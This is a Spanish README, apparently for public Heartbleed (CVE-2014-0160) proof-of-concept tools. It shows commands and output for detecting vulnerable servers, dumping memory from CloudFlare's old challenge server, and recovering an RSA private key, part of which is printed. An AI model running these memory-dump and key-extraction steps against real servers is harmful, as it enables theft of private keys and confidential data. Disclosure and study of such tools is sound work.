
OpenSSL Heartbleed (CVE-2014-0160): escáner de vulnerabilidades, minero de datos y herramientas de restauración de claves RSA.
Autor: Einar Otto Stangvik / @einaros / https://hacking.ventures
Dado que el secreto ya no es tal y otros han empezado a publicar sus herramientas, también pongo las mías a disposición. Con suerte, esto aumentará la presión sobre aquellos que aún no han parcheado o actualizado sus servidores. Otros pueden encontrar las herramientas de valor educativo.
A diferencia de muchos otros PoCs de Heartbleed, esta herramienta suministrará la mayoría de los cifrados posibles en el paquete ClientHello inicial. Cualquier cifrado que el servidor elija se usará para todos los paquetes ClientHello posteriores en una sesión de volcado. Eso debería garantizar una detección adecuada de vulnerabilidades, así como disminuir la sobrecarga una vez que se haya encontrado un cifrado.
Usa estas herramientas como quieras, pero haznos un favor a todos: resuelve problemas en lugar de crearlos.
Inspirado por el trabajo y las publicaciones de:
Aquí se ve recuperando uno de los primos RSA del desafío CloudFlare 34 veces en un minuto. Eso equivale a obtener la clave privada completa 34 veces en un minuto.

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record:
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# Dupm data from CloudFlare's old challenge server
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# Look for prime in the dump
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# Extract key once found
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
El autor no puede ni retendrá ningún derecho sobre ninguna parte de este paquete. Está basado en ideas abiertas, y permanecerá abierto por lo que a él le importa.